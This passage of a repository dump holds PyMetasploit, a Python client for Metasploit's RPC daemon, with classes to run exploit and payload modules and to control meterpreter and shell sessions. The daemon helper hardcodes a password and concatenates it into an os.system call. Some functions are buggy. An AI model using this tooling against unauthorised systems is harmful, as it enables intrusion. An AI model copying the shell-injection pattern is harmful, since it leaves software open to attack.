self._moptions[o]: 1369 | self._runopts[o] = self._moptions[o]['default'] 1370 | 1371 | @property 1372 | def options(self): 1373 | """ 1374 | All the module options. 1375 | """ 1376 | return self._moptions.keys() 1377 | 1378 | @property 1379 | def required(self): 1380 | """ 1381 | The required module options. 1382 | """ 1383 | return self._roptions 1384 | 1385 | @property 1386 | def evasion(self): 1387 | """ 1388 | Module options that are used for evasion. 1389 | """ 1390 | return self._eoptions 1391 | 1392 | @property 1393 | def advanced(self): 1394 | """ 1395 | Advanced module options. 1396 | """ 1397 | return self._aoptions 1398 | 1399 | @property 1400 | def runoptions(self): 1401 | """ 1402 | The running (currently set) options for a module. This will raise an error 1403 | if some of the required options are missing. 1404 | """ 1405 | outstanding = set(self.required).difference(self._runopts.keys()) 1406 | if outstanding: 1407 | raise TypeError('Module missing required parameter: %s' % ', '.join(outstanding)) 1408 | return self._runopts 1409 | 1410 | def optioninfo(self, option): 1411 | """ 1412 | Get information about the module option 1413 | 1414 | Mandatory Argument: 1415 | - option : the option name. 1416 | """ 1417 | return self._moptions[option] 1418 | 1419 | def __getitem__(self, item): 1420 | """ 1421 | Get the current option value. 1422 | 1423 | Mandatory Arguments: 1424 | - item : the option name. 1425 | """ 1426 | if item not in self._moptions: 1427 | raise KeyError("Invalid option '%s'." % item) 1428 | return self._runopts.get(item) 1429 | 1430 | def __setitem__(self, key, value): 1431 | """ 1432 | Set the current option value. 1433 | 1434 | Mandatory Arguments: 1435 | - key : the option name. 1436 | - value : the option value. 1437 | """ 1438 | if key not in self.options: 1439 | raise KeyError("Invalid option '%s'." % key) 1440 | elif 'enums' in self._moptions[key] and value not in self._moptions[key]['enums']: 1441 | raise ValueError("Value ('%s') is not one of %s" % (value, repr(self._moptions[key]['enums']))) 1442 | elif self._moptions[key]['type'] == 'bool' and not isinstance(value, bool): 1443 | raise TypeError("Value must be a boolean not '%s'" % type(value).__name__) 1444 | elif self._moptions[key]['type'] in ['integer', 'float'] and not isinstance(value, Number): 1445 | raise TypeError("Value must be an integer not '%s'" % type(value).__name__) 1446 | self._runopts[key] = value 1447 | 1448 | def __delitem__(self, key): 1449 | del self._runopts[key] 1450 | 1451 | def __contains__(self, item): 1452 | return item in self._runopts 1453 | 1454 | def update(self, d): 1455 | """ 1456 | Update a set of options. 1457 | 1458 | Mandatory Arguments: 1459 | - d : a dictionary of options 1460 | """ 1461 | for k in d: 1462 | self[k] = d[k] 1463 | 1464 | def execute(self, **kwargs): 1465 | """ 1466 | Executes the module with its run options as parameters. 1467 | 1468 | Optional Keyword Arguments: 1469 | - payload : the payload of an exploit module (this is mandatory if the module is an exploit). 1470 | - **kwargs : can contain any module options. 1471 | """ 1472 | runopts = self.runoptions.copy() 1473 | if isinstance(self, ExploitModule): 1474 | payload = kwargs.get('payload') 1475 | runopts['TARGET'] = self.target 1476 | if 'DisablePayloadHandler' in runopts and runopts['DisablePayloadHandler']: 1477 | pass 1478 | elif payload is None: 1479 | runopts['DisablePayloadHandler'] = True 1480 | else: 1481 | if isinstance(payload, PayloadModule): 1482 | if payload.modulename not in self.payloads: 1483 | raise ValueError( 1484 | 'Invalid payload (%s) for given target (%d).' % (payload.modulename, self.target) 1485 | ) 1486 | runopts['PAYLOAD'] = payload.modulename 1487 | for k, v in payload.runoptions.iteritems(): 1488 | if v is None or (isinstance(v, basestring) and not v): 1489 | continue 1490 | if k not in runopts or runopts[k] is None or \ 1491 | (isinstance(runopts[k], basestring) and not runopts[k]): 1492 | runopts[k] = v 1493 | # runopts.update(payload.runoptions) 1494 | elif isinstance(payload, basestring): 1495 | if payload not in self.payloads: 1496 | raise ValueError('Invalid payload (%s) for given target (%d).' % (payload, self.target)) 1497 | runopts['PAYLOAD'] = payload 1498 | else: 1499 | raise TypeError("Expected type str or PayloadModule not '%s'" % type(kwargs['payload']).__name__) 1500 | 1501 | return self.rpc.call(MsfRpcMethod.ModuleExecute, self.moduletype, self.modulename, runopts) 1502 | 1503 | 1504 | class ExploitModule(MsfModule): 1505 | 1506 | def __init__(self, rpc, exploit): 1507 | """ 1508 | Initializes the use of an exploit module. 1509 | 1510 | Mandatory Arguments: 1511 | - rpc : the rpc client used to communicate with msfrpcd 1512 | - exploit : the name of the exploit module. 1513 | """ 1514 | super(ExploitModule, self).__init__(rpc, 'exploit', exploit) 1515 | self._target = self._info.get('default_target', 0) 1516 | 1517 | @property 1518 | def payloads(self): 1519 | """ 1520 | A list of compatible payloads. 1521 | """ 1522 | # return self.rpc.call(MsfRpcMethod.ModuleCompatiblePayloads, 1523 | # self.modulename)['payloads'] 1524 | return self.targetpayloads(self.target) 1525 | 1526 | @property 1527 | def target(self): 1528 | return self._target 1529 | 1530 | @target.setter 1531 | def target(self, target): 1532 | if target not in self.targets: 1533 | raise ValueError('Target must be one of %s' % repr(list(self.targets.keys()))) 1534 | self._target = target 1535 | 1536 | def targetpayloads(self, t=0): 1537 | """ 1538 | Returns a list of compatible payloads for a given target ID. 1539 | 1540 | Optional Keyword Arguments: 1541 | - t : the target ID (default: 0, e.g. 'Automatic') 1542 | """ 1543 | return self.rpc.call(MsfRpcMethod.ModuleTargetCompatiblePayloads, self.modulename, t)['payloads'] 1544 | 1545 | 1546 | class PostModule(MsfModule): 1547 | 1548 | def __init__(self, rpc, post): 1549 | """ 1550 | Initializes the use of a post exploitation module. 1551 | 1552 | Mandatory Arguments: 1553 | - rpc : the rpc client used to communicate with msfrpcd 1554 | - post : the name of the post exploitation module. 1555 | """ 1556 | super(PostModule, self).__init__(rpc, 'post', post) 1557 | 1558 | @property 1559 | def sessions(self): 1560 | """ 1561 | A list of compatible shell/meterpreter sessions. 1562 | """ 1563 | return self.rpc.compatiblesessions(self.modulename) 1564 | 1565 | 1566 | class EncoderModule(MsfModule): 1567 | 1568 | def __init__(self, rpc, encoder): 1569 | """ 1570 | Initializes the use of an encoder module. 1571 | 1572 | Mandatory Arguments: 1573 | - rpc : the rpc client used to communicate with msfrpcd 1574 | - encoder : the name of the encoder module. 1575 | """ 1576 | super(EncoderModule, self).__init__(rpc, 'encoder', encoder) 1577 | 1578 | 1579 | class AuxiliaryModule(MsfModule): 1580 | 1581 | def __init__(self, rpc, auxiliary): 1582 | """ 1583 | Initializes the use of an auxiliary module. 1584 | 1585 | Mandatory Arguments: 1586 | - rpc : the rpc client used to communicate with msfrpcd 1587 | - auxiliary : the name of the auxiliary module. 1588 | """ 1589 | super(AuxiliaryModule, self).__init__(rpc, 'auxiliary', auxiliary) 1590 | 1591 | 1592 | class PayloadModule(MsfModule): 1593 | 1594 | def __init__(self, rpc, payload): 1595 | """ 1596 | Initializes the use of a payload module. 1597 | 1598 | Mandatory Arguments: 1599 | - rpc : the rpc client used to communicate with msfrpcd 1600 | - payload : the name of the payload module. 1601 | """ 1602 | super(PayloadModule, self).__init__(rpc, 'payload', payload) 1603 | 1604 | 1605 | class NopModule(MsfModule): 1606 | 1607 | def __init__(self, rpc, nop): 1608 | """ 1609 | Initializes the use of a nop module. 1610 | 1611 | Mandatory Arguments: 1612 | - rpc : the rpc client used to communicate with msfrpcd 1613 | - nop : the name of the nop module. 1614 | """ 1615 | super(NopModule, self).__init__(rpc, 'nop', nop) 1616 | 1617 | 1618 | class ModuleManager(MsfManager): 1619 | 1620 | def execute(self, modtype, modname, **kwargs): 1621 | """ 1622 | Execute the module. 1623 | 1624 | Mandatory Arguments: 1625 | - modtype : the module type (e.g. 'exploit') 1626 | - modname : the module name (e.g. 'exploits/windows/http/icecast_header') 1627 | 1628 | Optional Keyword Arguments: 1629 | - **kwargs : the module's run options 1630 | """ 1631 | return self.rpc.call(MsfRpcMethod.ModuleExecute, modtype, modname, kwargs) 1632 | 1633 | @property 1634 | def exploits(self): 1635 | """ 1636 | A list of exploit modules. 1637 | """ 1638 | return self.rpc.call(MsfRpcMethod.ModuleExploits)['modules'] 1639 | 1640 | @property 1641 | def payloads(self): 1642 | """ 1643 | A list of payload modules. 1644 | """ 1645 | return self.rpc.call(MsfRpcMethod.ModulePayloads)['modules'] 1646 | 1647 | @property 1648 | def auxiliary(self): 1649 | """ 1650 | A list of auxiliary modules. 1651 | """ 1652 | return self.rpc.call(MsfRpcMethod.ModuleAuxiliary)['modules'] 1653 | 1654 | @property 1655 | def post(self): 1656 | """ 1657 | A list of post modules. 1658 | """ 1659 | return self.rpc.call(MsfRpcMethod.ModulePost)['modules'] 1660 | 1661 | @property 1662 | def encodeformats(self): 1663 | """ 1664 | A list of encoding formats. 1665 | """ 1666 | return self.rpc.call(MsfRpcMethod.ModuleEncodeFormats) 1667 | 1668 | @property 1669 | def encoders(self): 1670 | """ 1671 | A list of encoder modules. 1672 | """ 1673 | return self.rpc.call(MsfRpcMethod.ModuleEncoders)['modules'] 1674 | 1675 | @property 1676 | def nops(self): 1677 | """ 1678 | A list of nop modules. 1679 | """ 1680 | return self.rpc.call(MsfRpcMethod.ModuleNops)['modules'] 1681 | 1682 | def use(self, mtype, mname): 1683 | """ 1684 | Returns a module object. 1685 | 1686 | Mandatory Arguments: 1687 | - mname : the module name (e.g. 'exploits/windows/http/icecast_header') 1688 | """ 1689 | if mtype == 'exploit': 1690 | return ExploitModule(self.rpc, mname) 1691 | elif mtype == 'post': 1692 | return PostModule(self.rpc, mname) 1693 | elif mtype == 'encoder': 1694 | return EncoderModule(self.rpc, mname) 1695 | elif mtype == 'auxiliary': 1696 | return AuxiliaryModule(self.rpc, mname) 1697 | elif mtype == 'nop': 1698 | return NopModule(self.rpc, mname) 1699 | elif mtype == 'payload': 1700 | return PayloadModule(self.rpc, mname) 1701 | raise MsfRpcError('Unknown module type %s not: exploit, post, encoder, auxiliary, nop, or payload' % mname) 1702 | 1703 | 1704 | class MsfSession(object): 1705 | 1706 | def __init__(self, id, rpc, sd): 1707 | """ 1708 | Initialize a meterpreter or shell session. 1709 | 1710 | Mandatory Arguments: 1711 | - id : the session identifier. 1712 | - rpc : the msfrpc client object. 1713 | - sd : the session description 1714 | """ 1715 | self.id = id 1716 | self.rpc = rpc 1717 | self.__dict__.update(sd) 1718 | 1719 | def stop(self): 1720 | """ 1721 | Stop a meterpreter or shell session. 1722 | """ 1723 | return self.rpc.call(MsfRpcMethod.SessionStop, self.id) 1724 | 1725 | @property 1726 | def modules(self): 1727 | """ 1728 | A list of compatible session modules. 1729 | """ 1730 | return self.rpc.call(MsfRpcMethod.SessionCompatibleModules, self.id)['modules'] 1731 | 1732 | @property 1733 | def ring(self): 1734 | return SessionRing(self.rpc, self.id) 1735 | 1736 | 1737 | class SessionRing(object): 1738 | 1739 | def __init__(self, rpc, sessionid): 1740 | self.rpc = rpc 1741 | self.id = sessionid 1742 | 1743 | def read(self, seq=None): 1744 | """ 1745 | Reads the session ring. 1746 | 1747 | Optional Keyword Arguments: 1748 | - seq : the sequence ID of the ring (default: 0) 1749 | """ 1750 | if seq is not None: 1751 | return self.rpc.call(MsfRpcMethod.SessionRingRead, self.id, seq) 1752 | return self.rpc.call(MsfRpcMethod.SessionRingRead, self.id) 1753 | 1754 | def put(self, line): 1755 | """ 1756 | Add a command to the session history. 1757 | 1758 | Mandatory Arguments: 1759 | - line : arbitrary data. 1760 | """ 1761 | self.rpc.call(MsfRpcMethod.SessionRingPut, self.id, line) 1762 | 1763 | @property 1764 | def last(self): 1765 | """ 1766 | Returns the last sequence ID in the session ring. 1767 | """ 1768 | return int(self.rpc.call(MsfRpcMethod.SessionRingLast, self.id)['seq']) 1769 | 1770 | def clear(self): 1771 | """ 1772 | Clear the session ring. 1773 | """ 1774 | return self.rpc.call(MsfRpcMethod.SessionRingClear, self.id) 1775 | 1776 | 1777 | class MeterpreterSession(MsfSession): 1778 | 1779 | def read(self): 1780 | """ 1781 | Read data from the meterpreter session. 1782 | """ 1783 | return self.rpc.call(MsfRpcMethod.SessionMeterpreterRead, self.id)['data'] 1784 | 1785 | def write(self, data): 1786 | """ 1787 | Write data to the meterpreter session. 1788 | 1789 | Mandatory Arguments: 1790 | - data : arbitrary data or commands 1791 | """ 1792 | self.rpc.call(MsfRpcMethod.SessionMeterpreterWrite, self.id, data) 1793 | 1794 | def runsingle(self, data): 1795 | """ 1796 | Run a single meterpreter command 1797 | 1798 | Mandatory Arguments: 1799 | - data : arbitrary data or command 1800 | """ 1801 | self.rpc.call(MsfRpcMethod.SessionMeterpreterRunSingle, self.id, data) 1802 | return self.read() 1803 | 1804 | def runscript(self, path): 1805 | """ 1806 | Run a meterpreter script 1807 | 1808 | Mandatory Arguments: 1809 | - path : path to a meterpreter script on the msfrpcd host. 1810 | """ 1811 | self.rpc.call(MsfRpcMethod.SessionMeterpreterScript, self.id, path) 1812 | return self.read() 1813 | 1814 | @property 1815 | def sep(self): 1816 | """ 1817 | The operating system path separator. 1818 | """ 1819 | return self.rpc.call(MsfRpcMethod.SessionMeterpreterDirectorySeparator, self.id)['separator'] 1820 | 1821 | def detach(self): 1822 | """ 1823 | Detach the meterpreter session. 1824 | """ 1825 | return self.rpc.call(MsfRpcMethod.SessionMeterpreterSessionDetach, self.id) 1826 | 1827 | def kill(self): 1828 | """ 1829 | Kill the meterpreter session. 1830 | """ 1831 | self.rpc.call(MsfRpcMethod.SessionMeterpreterSessionKill, self.id) 1832 | 1833 | def tabs(self, line): 1834 | """ 1835 | Return a list of commands for a partial command line (tab completion). 1836 | 1837 | Mandatory Arguments: 1838 | - line : a partial command line for completion. 1839 | """ 1840 | return self.rpc.call(MsfRpcMethod.SessionMeterpreterTabs, self.id, line)['tabs'] 1841 | 1842 | 1843 | class ShellSession(MsfSession): 1844 | 1845 | def read(self): 1846 | """ 1847 | Read data from the shell session. 1848 | """ 1849 | return self.rpc.call(MsfRpcMethod.SessionShellRead, self.id)['data'] 1850 | 1851 | def write(self, data): 1852 | """ 1853 | Write data to the shell session. 1854 | 1855 | Mandatory Arguments: 1856 | - data : arbitrary data or commands 1857 | """ 1858 | self.rpc.call(MsfRpcMethod.SessionShellWrite, self.id, data) 1859 | 1860 | def upgrade(self, lhost, lport): 1861 | """ 1862 | Upgrade the current shell session. 1863 | """ 1864 | self.rpc.call(MsfRpcMethod.SessionShellUpgrade, self.id, lhost, lport) 1865 | return self.read() 1866 | 1867 | 1868 | class SessionManager(MsfManager): 1869 | 1870 | @property 1871 | def list(self): 1872 | """ 1873 | A list of active sessions. 1874 | """ 1875 | return self.rpc.call(MsfRpcMethod.SessionList) 1876 | 1877 | def session(self, id): 1878 | """ 1879 | Returns a session object for meterpreter or shell sessions. 1880 | 1881 | Mandatory Arguments: 1882 | - id : the session identifier. 1883 | """ 1884 | s = self.list 1885 | if id not in s: 1886 | for k in s: 1887 | if s[k]['uuid'] == id: 1888 | if s[id]['type'] == 'meterpreter': 1889 | return MeterpreterSession(id, self.rpc, s) 1890 | elif s[id]['type'] == 'shell': 1891 | return ShellSession(id, self.rpc, s) 1892 | raise KeyError('Session ID (%s) does not exist' % id) 1893 | if s[id]['type'] == 'meterpreter': 1894 | return MeterpreterSession(id, self.rpc, s) 1895 | elif s[id]['type'] == 'shell': 1896 | return ShellSession(id, self.rpc, s) 1897 | raise NotImplementedError('Could not determine session type: %s' % s[id]['type']) 1898 | 1899 | 1900 | class MsfConsole(object): 1901 | 1902 | def __init__(self, rpc, cid=None): 1903 | """ 1904 | Initializes an msf console. 1905 | 1906 | Mandatory Arguments: 1907 | - rpc : the msfrpc client object. 1908 | 1909 | Optional Keyword Arguments: 1910 | - cid : the console identifier if it exists already otherwise a new one will be created. 1911 | """ 1912 | self.rpc = rpc 1913 | if cid is None: 1914 | r = self.rpc.call(MsfRpcMethod.ConsoleCreate) 1915 | if 'id' in r: 1916 | self.cid = r['id'] 1917 | else: 1918 | raise MsfRpcError('Unable to create a new console.') 1919 | else: 1920 | self.cid = cid 1921 | 1922 | def read(self): 1923 | """ 1924 | Read data from the console. 1925 | """ 1926 | return self.rpc.call(MsfRpcMethod.ConsoleRead, self.cid) 1927 | 1928 | def write(self, command): 1929 | """ 1930 | Write data to the console. 1931 | """ 1932 | if not command.endswith('\n'): 1933 | command += '\n' 1934 | self.rpc.call(MsfRpcMethod.ConsoleWrite, self.cid, command) 1935 | 1936 | def sessionkill(self): 1937 | """ 1938 | Kill all active meterpreter or shell sessions. 1939 | """ 1940 | self.rpc.call(MsfRpcMethod.ConsoleSessionKill, self.cid) 1941 | 1942 | def sessiondetach(self): 1943 | """ 1944 | Detach the current meterpreter or shell session. 1945 | """ 1946 | self.rpc.call(MsfRpcMethod.ConsoleSessionDetach, self.cid) 1947 | 1948 | def tabs(self, line): 1949 | """ 1950 | Tab completion for console commands. 1951 | 1952 | Mandatory Arguments: 1953 | - line : a partial command to be completed. 1954 | """ 1955 | return self.rpc.call(MsfRpcMethod.ConsoleTabs, self.cid, line)['tabs'] 1956 | 1957 | def destroy(self): 1958 | """ 1959 | Destroy the console. 1960 | """ 1961 | self.rpc.call(MsfRpcMethod.ConsoleDestroy, self.cid) 1962 | 1963 | 1964 | class ConsoleManager(MsfManager): 1965 | 1966 | @property 1967 | def list(self): 1968 | """ 1969 | A list of active consoles. 1970 | """ 1971 | return self.rpc.call(MsfRpcMethod.ConsoleList) 1972 | 1973 | def console(self, cid=None): 1974 | """ 1975 | Connect to an active console otherwise create a new console. 1976 | 1977 | Optional Keyword Arguments: 1978 | - cid : the console identifier. 1979 | """ 1980 | s = self.list 1981 | if cid is None: 1982 | return MsfConsole(self.rpc) 1983 | if cid not in s: 1984 | raise KeyError('Console ID (%s) does not exist' % cid) 1985 | else: 1986 | return MsfConsole(self.rpc, cid=cid) 1987 | 1988 | def destroy(self, cid): 1989 | """ 1990 | Destory an active console. 1991 | 1992 | Mandatory Arguments: 1993 | - cid : the console identifier. 1994 | """ 1995 | self.rpc.call(MsfRpcMethod.ConsoleDestroy, cid) 1996 | -------------------------------------------------------------------------------- /src/metasploit/msfrpcdHandler.py: -------------------------------------------------------------------------------- 1 | # Handles the MetaSploit Framework Remote Procedure Call Daemon (MSFRPCD) for *nix machines 2 | 3 | import os, psutil, signal, time 4 | 5 | def msfrpcdStart(password): 6 | if checkMsfrpcdRunning(): return "MetaSploit Framework Remote Procedure Call Daemon is already running." 7 | else: 8 | response = os.system("msfrpcd -P "+password+" -n -a 127.0.0.1") 9 | time.sleep(10) 10 | if checkMsfrpcdRunning(): return "MetaSploit Framework Remote Procedure Call Daemon running." 11 | else: return "There was an issue: MetaSploit Framework Remote Procedure Call Daemon did not start." 12 | 13 | def checkMsfrpcdRunning(): 14 | for socket in psutil.net_connections(): 15 | if socket.laddr[1] == 55553: return socket.pid 16 | 17 | def msfrpcdRestart(password): 18 | pid = checkMsfrpcdRunning() 19 | if pid: 20 | os.kill(socket.pid, signal.SIGKILL) 21 | print "Old MSFRPCD process killed." 22 | response = os.system("msfrpcd -P "+password+" -n -a 127.0.0.1") 23 | time.sleep(10) 24 | if checkMsfrpcdRunning(): return "MetaSploit Framework Remote Procedure Call Daemon running." 25 | else: return "There was an issue: MetaSploit Framework Remote Procedure Call Daemon did not start." 26 | 27 | if __name__ == "__main__": 28 | print msfrpcdStart('pass123') 29 | -------------------------------------------------------------------------------- /src/metasploit/utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from optparse import OptionParser 4 | 5 | __author__ = 'Nadeem Douba' 6 | __copyright__ = 'Copyright 2012, PyMetasploit Project' 7 | __credits__ = [] 8 | 9 | __license__ = 'GPL' 10 | __version__ = '0.1' 11 | __maintainer__ = 'Nadeem Douba' 12 | __email__ = 'ndouba@gmail.com' 13 | __status__ = 'Development' 14 | 15 | __all__ = [ 16 | 'parseargs' 17 | ] 18 | 19 | 20 | def parseargs(): 21 | p = OptionParser() 22 | p.add_option("-P", dest="password", help="Specify the password to access msfrpcd", metavar="opt") 23 | p.add_option("-S", dest="ssl", help="Disable SSL on the RPC socket", action="store_false", default=True) 24 | p.add_option("-U", dest="username", help="Specify the username to access msfrpcd", metavar="opt", default="msf") 25 | p.add_option("-a", dest="server", help="Connect to this IP address", metavar="host", default="127.0.0.1") 26 | p.add_option("-p", dest="port", help="Connect to the specified port instead of 55553", metavar="opt", default=55553) 27 | o, a = p.parse_args() 28 | if o.password is None: 29 | print('[-] Error: a password must be specified (-P)\n') 30 | p.print_help() 31 | exit(-1) 32 | return o -------------------------------------------------------------------------------- /src/scripts/pymsfconsole: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from code import InteractiveConsole 4 | from atexit import register 5 | from sys import stdout 6 | from os import path 7 | import readline 8 | 9 | from metasploit.msfrpc import MsfRpcClient, MsfRpcError 10 | from metasploit.msfconsole import MsfRpcConsole 11 | from metasploit.utils import parseargs 12 | 13 | __author__ = 'Nadeem Douba' 14 | __copyright__ = 'Copyright 2012, PyMetasploit Project' 15 | __credits__ = [] 16 | 17 | __license__ = 'GPL' 18 | __version__ = '0.1' 19 | __maintainer__ = 'Nadeem Douba' 20 | __email__ = 'ndouba@cygnos.com' 21 | __status__ = 'Development' 22 | 23 | 24 | class MsfConsole(InteractiveConsole): 25 | 26 | def __init__(self, password, **kwargs): 27 | self.fl = True 28 | self.client = MsfRpcConsole(MsfRpcClient(password, **kwargs), cb=self.callback) 29 | InteractiveConsole.__init__(self, {'rpc': self.client}) 30 | self.init_history(path.expanduser('~/.msfconsole_history')) 31 | 32 | def raw_input(self, prompt): 33 | line = InteractiveConsole.raw_input(self, prompt=self.client.prompt) 34 | return "rpc.execute('%s')" % line.replace("'", r"\'") 35 | 36 | def init_history(self, histfile): 37 | readline.parse_and_bind('tab: complete') 38 | if hasattr(readline, "read_history_file"): 39 | try: 40 | readline.read_history_file(histfile) 41 | except IOError: 42 | pass 43 | register(self.save_history, histfile) 44 | 45 | def save_history(self, histfile): 46 | readline.write_history_file(histfile) 47 | del self.client 48 | print 'bye!' 49 | 50 | def callback(self, d): 51 | stdout.write('\n%s' % d['data']) 52 | if not self.fl: 53 | stdout.write('\n%s' % d['prompt'].replace("\x01\x02", "")) 54 | stdout.flush() 55 | else: 56 | self.fl = False 57 | 58 | if __name__ == '__main__': 59 | o = parseargs() 60 | try: 61 | m = MsfConsole(o.__dict__.pop('password'), **o.__dict__) 62 | m.interact('') 63 | except MsfRpcError, m: 64 | print str(m) 65 | exit(-1) 66 | exit(0) 67 | -------------------------------------------------------------------------------- /src/scripts/pymsfrpc: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from code import InteractiveConsole 4 | from atexit import register 5 | from os import path 6 | import readline 7 | 8 | from metasploit.msfrpc import MsfRpcClient, MsfRpcError 9 | from metasploit.utils import parseargs 10 | 11 | __author__ = 'Nadeem Douba' 12 | __copyright__ = 'Copyright 2012, PyMetasploit Project' 13 | __credits__ = [] 14 | 15 | __license__ = 'GPL' 16 | __version__ = '0.1' 17 | __maintainer__ = 'Nadeem Douba' 18 | __email__ = 'ndouba@cygnos.com' 19 | __status__ = 'Development' 20 | 21 | 22 | class MsfRpc(InteractiveConsole): 23 | def __init__(self, password, **kwargs): 24 | self.client = MsfRpcClient(password, **kwargs) 25 | InteractiveConsole.__init__(self, {'rpc' : self.client}, '') 26 | self.init_history(path.expanduser('~/.msfrpc_history')) 27 | 28 | def init_history(self, histfile): 29 | readline.parse_and_bind('tab: complete') 30 | if hasattr(readline, "read_history_file"): 31 | try: 32 | readline.read_history_file(histfile) 33 | except IOError: 34 | pass 35 | register(self.save_history, histfile) 36 | 37 | def save_history(self, histfile): 38 | readline.write_history_file(histfile) 39 | 40 | 41 | if __name__ == '__main__': 42 | o = parseargs() 43 | try: 44 | m = MsfRpc(o.__dict__.pop('password'), **o.__dict__) 45 | m.interact('') 46 | except MsfRpcError, m: 47 | print str(m) 48 | exit(-1) 49 | exit(0) 50 | --------------------------------------------------------------------------------